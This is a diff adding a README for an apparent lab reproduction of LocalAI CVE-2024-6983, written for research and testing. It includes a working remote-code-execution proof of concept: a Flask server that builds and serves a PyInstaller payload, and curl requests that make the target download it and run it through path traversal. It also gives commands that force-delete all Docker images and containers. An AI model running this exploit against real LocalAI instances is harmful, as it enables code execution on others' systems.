Add CVE-2024-6983

mudler/localai/CVE-2024-6983/README.md

@@ -0,0 +1,86 @@
+# Mudler/LocalAI CVE-2024-6983
+
+This directory contains the deployment config for LocalAI instances vulnerable and fixed to CVE-2024-6983. LocalAI versions below 2.19.4 are vulnerable to that remote code execution vulnerability.
+
+## How to Trigger the Vulnerability?
+
+To trigger the vulnerability, you can use the following two curl commands and the provided Python Script. You may need to install Flask and PyInstaller via pip. Since this vulnerability requires hosting a YAML and an ELF file, the provided Python script will host these files. In a vulnerable environment, after the second curl request, you can see the created file under the /tmp/ directory.
+
+Python Script:
+
+```
+from flask import Flask,send_file,request
+import tempfile
+import PyInstaller.__main__
+import os
+
+app=Flask(__name__)
+
+CONF="""name: "life"
+
+download_files:
+  - filename: "app.bin"
+    uri: "{0}app.bin"
+"""
+
+# Builds exploit code
+def build():
+    CODE = 'open("/tmp/test.txt","a").write("1337")' # Python code we want to run
+    appname="app.bin"
+    if os.path.isfile(appname):
+        return appname
+    with tempfile.NamedTemporaryFile(delete=False) as fp:
+        fp.write(CODE.encode())
+        fp.close()
+        PyInstaller.__main__.run(["--onefile","--clean","--workpath","/tmp/build/","--specpath","/tmp","--distpath",".","-n",appname,fp.name])
+    return appname
+
+# Serve model.yaml file
+@app.get("/model.yaml")
+def model():
+    return CONF.format(request.root_url)
+
+# Serve app.bin file
+@app.get("/app.bin")
+def files():
+    return send_file(build())
+
+# Start the server
+app.run("0.0.0.0",8000)
+```
+
+Curl Requests:
+
+```
+# Run above Python script first.
+python server.py
+
+# Upload the yaml and compiled Python file
+curl http://localhost:8080/models/apply -X POST -H "Content-Type: application/json" -d '{"name":"life","config_url":"http://localhost:8000/model.yaml","id":""}'
+
+# Trigger the uploaded app.bin file via the backend parameter.
+curl http://localhost:8080/embeddings -X POST -H "Content-Type: application/json" -d '{"backend":"../../../../../../build/models/app.bin","model":"life","input":"hi"}'
+
+# Validate the created file by checking the docker inside.
+docker exec -it local-ai bash --> ls /tmp/
+```
+
+In case you cannot trigger the vulnerability, you might need to delete your existing container images because Docker might try to reuse them.
+
+```
+sudo docker rmi -f $(sudo docker images -aq)
+sudo docker remove $(sudo docker ps -a -q)
+```
+## Fixed version
+```
+docker run -p 8080:8080 -e "DEBUG=true" --name local-ai --network host -ti localai/localai:v2.19.4-ffmpeg-core
+```
+
+The deployed service listens on `localhost:8080` after the docker completes its job.
+
+## Vulnerable version
+```
+docker run -p 8080:8080 -e "DEBUG=true" --name local-ai --network host -ti localai/localai:v2.14.0-ffmpeg-core
+```
+
+The deployed service listens on `localhost:8080` after the docker completes its job.